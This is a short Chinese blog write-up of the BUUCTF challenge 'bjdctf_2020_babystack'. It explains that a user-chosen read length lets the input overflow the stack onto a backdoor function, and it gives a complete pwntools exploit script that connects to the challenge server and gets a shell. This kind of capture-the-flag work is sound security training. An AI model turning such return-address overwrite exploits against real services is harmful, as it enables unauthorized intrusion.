BUUCTF—bjdctf_2020_babystack

先看看开了什么保护机制

然后打开64位ida看看

我们来看看,这个就是先输入一个数,这个数有什么用呢,你后面读入的大小就是这个数,所以这个数一定要够大要不然都没办法栈溢出,所以栈溢出就有了,然后去看看后门函数


还真有,那么这题就解决了

后门函数地址是0x4006e6

from pwn import*
p=remote('node4.buuoj.cn',25250)
back_door=0x4006e6
p.recvuntil('your name:\n')
p.sendline(str(0x40))
p.recvuntil('u name?\n')
payload=b'a'*0x18+p64(back_door)
p.sendline(payload)
p.interactive()
posted @ 2022-10-07 15:37  予柒  阅读(1017)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/